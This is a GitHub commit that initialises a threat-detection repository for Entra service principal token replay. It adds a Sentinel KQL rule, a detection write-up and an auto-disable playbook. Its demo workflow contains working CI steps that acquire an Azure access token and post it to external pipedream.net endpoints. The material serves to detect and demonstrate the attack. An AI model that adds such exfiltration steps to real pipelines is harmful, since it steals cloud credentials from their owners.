Skip to content

Commit

Permalink
Init Repository
Browse files Browse the repository at this point in the history
  • Loading branch information
nicolonsky committed Nov 8, 2023
1 parent 4ae8da7 commit 3440f39
Show file tree
Hide file tree
Showing 7 changed files with 391 additions and 2 deletions.
45 changes: 45 additions & 0 deletions .github/workflows/token-theft-demo.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,45 @@
# This is a basic workflow to steal an access token (:

on: workflow_dispatch

permissions:
id-token: write
contents: read

name: 😈 WIF

jobs:
acquire-and-steal:
runs-on: ubuntu-latest
name: WIF Example
steps:
- name: Azure AD Workload Identity Federation
uses: nicolonsky/[email protected]
with:
tenant_id: ${{ secrets.TENANTID }}
client_id: ${{ secrets.CLIENTID }}
- name: Do some Microsoft Graph stuff
run: |
Install-Module -Name Microsoft.Graph.Authentication
Connect-MgGraph -AccessToken ($env:ACCESS_TOKEN | ConvertTo-SecureString -AsPlainText -Force)
Invoke-MgGraphRequest -Uri '/beta/organization' | Select-Object -ExpandProperty value
shell: pwsh
- name: Do evil stuff
run: |
curl -d '{"token":"${{ env.ACCESS_TOKEN }}"}' \
-H "Content-Type: application/json" \
"https://3cc9d6e97f71d89fba8c9afc13798b57.m.pipedream.net"
- name: OIDC Login to Azure Public Cloud
uses: azure/login@v1
with:
client-id: ${{ secrets.CLIENTID }}
tenant-id: ${{ secrets.TENANTID }}
subscription-id: ${{ secrets.SUBSCRIPTION }}
enable-AzPSSession: true

- name: Run Malicious Azure PowerShell script
uses: azure/powershell@v1
with:
inlineScript: |
Invoke-RestMethod -Method POST -Uri "https://eov8t75mveud5wy.m.pipedream.net" -ContentType "application/json" -Body "{`"token`":`"$((Get-AzAccessToken).Token)`"}"
azPSVersion: "latest"
87 changes: 87 additions & 0 deletions AnalyticRules/T1528.Entra.ServicePrincipalAccessTokenReplay.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,87 @@
{
"$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#",
"contentVersion": "1.0.0.0",
"parameters": {
"workspace": {
"type": "String"
}
},
"resources": [
{
"id": "[concat(resourceId('Microsoft.OperationalInsights/workspaces/providers', parameters('workspace'), 'Microsoft.SecurityInsights'),'/alertRules/4898e2f0-626f-4524-b5b0-2bc73954e672')]",
"name": "[concat(parameters('workspace'),'/Microsoft.SecurityInsights/4898e2f0-626f-4524-b5b0-2bc73954e672')]",
"type": "Microsoft.OperationalInsights/workspaces/providers/alertRules",
"kind": "Scheduled",
"apiVersion": "2022-11-01-preview",
"properties": {
"displayName": "Workload Identity Access Token Replay",
"description": "Suspicious Entra Workload Identity access token replay due token replay.",
"severity": "Medium",
"enabled": true,
"query": "// Hunt for differences between the token issuance and token usage of entra service principals based on the public IP address\nlet lookback = 30d;\nunion\n (MicrosoftGraphActivityLogs\n | where ResponseStatusCode between (100 .. 300) // only include HTTP success status codes\n | extend UniqueTokenIdentifier = SignInActivityId\n | extend ActivityIPAddress = IPAddress\n ),\n (AzureActivity\n | extend UniqueTokenIdentifier = tostring(Claims_d.uti)\n | extend ActivityIPAddress = CallerIpAddress\n )\n| where ingestion_time() > ago(lookback)\n| lookup kind=leftouter AADServicePrincipalSignInLogs on UniqueTokenIdentifier\n| extend SigninInIPAddress = IPAddress1\n| where SigninInIPAddress != ActivityIPAddress\n| where isnotempty(SigninInIPAddress)\n| project-away *1\n| project\n TimeGenerated,\n ServicePrincipalName,\n SigninInIPAddress,\n ActivityIPAddress,\n ServicePrincipalId,\n ServicePrincipalCredentialThumbprint,\n ServicePrincipalCredentialKeyId",
"queryFrequency": "PT5M",
"queryPeriod": "PT20M",
"triggerOperator": "GreaterThan",
"triggerThreshold": 0,
"suppressionDuration": "PT5H",
"suppressionEnabled": false,
"startTimeUtc": null,
"tactics": [
"CredentialAccess"
],
"techniques": [
"T1528"
],
"alertRuleTemplateName": null,
"incidentConfiguration": {
"createIncident": true,
"groupingConfiguration": {
"enabled": false,
"reopenClosedIncident": false,
"lookbackDuration": "PT5H",
"matchingMethod": "AllEntities",
"groupByEntities": [],
"groupByAlertDetails": [],
"groupByCustomDetails": []
}
},
"eventGroupingSettings": {
"aggregationKind": "AlertPerResult"
},
"alertDetailsOverride": {
"alertDisplayNameFormat": "Workload Identity Access Token Replay from {{ActivityIPAddress}}",
"alertDescriptionFormat": "The access token for the workload identity: {{ServicePrincipalName}} was acquired by the public IP address: {{SigninInIPAddress}} and activity performed by the public IP address: {{ActivityIPAddress}} .",
"alertDynamicProperties": []
},
"customDetails": {
"ServicePrincipalName": "ServicePrincipalName",
"CredentialKeyId": "ServicePrincipalCredentialKeyId",
"CredentialThumbprint": "ServicePrincipalCredentialThumbprint",
"ObjectId": "ServicePrincipalId"
},
"entityMappings": [
{
"entityType": "IP",
"fieldMappings": [
{
"identifier": "Address",
"columnName": "ActivityIPAddress"
}
]
},
{
"entityType": "IP",
"fieldMappings": [
{
"identifier": "Address",
"columnName": "SigninInIPAddress"
}
]
}
],
"sentinelEntitiesMappings": null,
"templateVersion": null
}
}
]
}
Binary file added Assets/logo.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
104 changes: 104 additions & 0 deletions Detections/T1528.Entra.ServicePrincipalAccessTokenReplay.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,104 @@
# T1528.Entra.ServicePrincipalAccessTokenReplay

Detect access token theft/replay for Microsoft Entra Service Principals / Workload Identities.

## Hunt Tags

**ID:** T1528.Entra.ServicePrincipalAccessTokenReplay

**Author:** [Nicola Suter](https://nicolasuter.ch)

**License:** [MIT License](https://github.com/nicolonsky/ITDR/blob/main/LICENSE)

**References:** [Link to medium post](https://nicolasuter.medium.com)

## ATT&CK Tags

**Tactic:** Credential Access (TA0006)

**Technique:** Steal Application Access Token (T1528)

## Technical description of the attack

Attackers can steal access tokens from service principals and use them to access resources for the valid duration of the token. This is an attack vector for service principals that are used in CI/CD pipelines and are already hardened by leveraging only short lived tokens with workload identity federation.

Access tokens can be exfiltrated by adding a simple step to the CI pipeline and sending the access token to an attacker controlled server. The access token can then be used to access resources for the valid duration of the token.

## Permission required to execute the technique

Access to the device or service where the service principal is being used, such as a CI/CD pipeline running on GitHub Actions.

## Detection description

As access tokens are issued after the service principal has authenticated, the IP address of the token issuance is different from the IP address of the token usage. This difference can be used to detect access token theft.

## Utilized Data Source

| Event ID | Event Name | Log Provider | ATT&CK Data Source |
| -------- | ----------------------------- | ------------ | ------------------ |
| - | MicrosoftGraphActivityLogs | Entra ID | Cloud Service |
| - | AADServicePrincipalSignInLogs | Entra ID | Cloud Service |
| - | AzureActivity | Azure | Cloud Service |

## Hunt details

### KQL

**FP Rate:** _Low_

**Source:** _Entra ID_

**Description:** _This detection looks at differences within the IP adresses between the access token issuance and usage._

**Query:**

```kusto
// Hunt for differences between the token issuance and token usage of entra service principals based on the public IP address
let lookback = 30d;
union
(MicrosoftGraphActivityLogs
| where ResponseStatusCode between (100 .. 300) // only include HTTP success status codes
| extend UniqueTokenIdentifier = SignInActivityId
| extend ActivityIPAddress = IPAddress
),
(AzureActivity
| extend UniqueTokenIdentifier = tostring(Claims_d.uti)
| extend ActivityIPAddress = CallerIpAddress
)
| where ingestion_time() > ago(lookback)
| lookup kind=leftouter AADServicePrincipalSignInLogs on UniqueTokenIdentifier
| extend SigninInIPAddress = IPAddress1
| where SigninInIPAddress != ActivityIPAddress
| where isnotempty(SigninInIPAddress)
| project-away *1
| project
TimeGenerated,
ServicePrincipalName,
SigninInIPAddress,
ActivityIPAddress,
ServicePrincipalId,
ServicePrincipalCredentialThumbprint,
ServicePrincipalCredentialKeyId
```

## Considerations

- Only ActivityLogs with a corresponding SignIn are considered (due to inner join).
- The `AADManagedIdentitySignInLogs` do not contain the `IPAddress` field, therefore only `AADServicePrincipalSignInLogs` are considered.

## False Positives

False positives are unlikely but could occur in the following cases:

- Multiple public IP addresses are pooled and used by the same service principal (e.g. NAT gateways) after access token retrieval.
- The service principal passes the access token to another service principal with a different public IP address.

## Detection Blind Spots

- When the access token is reused behind the same Public IP address, this detection will not work as it relies on the public IP.
- The detection only covers the Microsoft Graph and Azure Activity APIs, other APIs are not covered.

## References

- https://learn.microsoft.com/en-us/graph/microsoft-graph-activity-logs-overview
- https://learn.microsoft.com/en-us/azure/azure-monitor/essentials/activity-log?tabs=powershell
21 changes: 21 additions & 0 deletions LICENSE
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
MIT License

Copyright (c) 2023 Nicola Suter

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
Original file line number Diff line number Diff line change
@@ -0,0 +1,120 @@
{
"definition": {
"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
"actions": {
"Process_Alerts": {
"actions": {
"Disable_Service_Principal_(PATCH)": {
"inputs": {
"authentication": {
"audience": "https://graph.microsoft.com",
"identity": "/subscriptions/{SubscriptionId}/resourceGroups/{ResourceGroupName}/providers/Microsoft.ManagedIdentity/userAssignedIdentities/UAMI-SentinelAutomation",
"type": "ManagedServiceIdentity"
},
"body": {
"accountEnabled": "false"
},
"headers": {
"Content-Type": "application/json"
},
"method": "PATCH",
"uri": "https://graph.microsoft.com/v1.0/servicePrincipals/@{body('Parse_Alert_Custom_Details')?['ObjectId'][0]}"
},
"runAfter": {
"Parse_Alert_Custom_Details": [
"Succeeded"
]
},
"type": "Http"
},
"Parse_Alert_Custom_Details": {
"inputs": {
"content": "@items('Process_Alerts')?['properties']?['additionalData']?['Custom Details']",
"schema": {
"properties": {
"CredentialKeyId": {
"items": {
"type": "string"
},
"type": "array"
},
"CredentialThumbprint": {
"items": {
"type": "string"
},
"type": "array"
},
"ObjectId": {
"items": {
"type": "string"
},
"type": "array"
},
"RequestUri": {
"items": {
"type": "string"
},
"type": "array"
},
"ServicePrincipalName": {
"items": {
"type": "string"
},
"type": "array"
}
},
"type": "object"
}
},
"runAfter": {},
"type": "ParseJson"
}
},
"foreach": "@triggerBody()?['object']?['properties']?['Alerts']",
"runAfter": {},
"type": "Foreach"
}
},
"contentVersion": "1.0.0.0",
"outputs": {},
"parameters": {
"$connections": {
"defaultValue": {},
"type": "Object"
}
},
"triggers": {
"Microsoft_Sentinel_incident": {
"inputs": {
"body": {
"callback_url": "@{listCallbackUrl()}"
},
"host": {
"connection": {
"name": "@parameters('$connections')['azuresentinel_1']['connectionId']"
}
},
"path": "/incident-creation"
},
"type": "ApiConnectionWebhook"
}
}
},
"parameters": {
"$connections": {
"value": {
"azuresentinel_1": {
"connectionId": "/subscriptions/{SubscriptionId}/resourceGroups/{ResourceGroupName}/providers/Microsoft.Web/connections/azuresentinel",
"connectionName": "azuresentinel",
"connectionProperties": {
"authentication": {
"identity": "/subscriptions/{SubscriptionId}/resourceGroups/{ResourceGroupName}/providers/Microsoft.ManagedIdentity/userAssignedIdentities/UAMI-SentinelAutomation",
"type": "ManagedServiceIdentity"
}
},
"id": "/subscriptions/{SubscriptionId}/providers/Microsoft.Web/locations/westeurope/managedApis/azuresentinel"
}
}
}
}
}
Loading

0 comments on commit 3440f39

Please sign in to comment.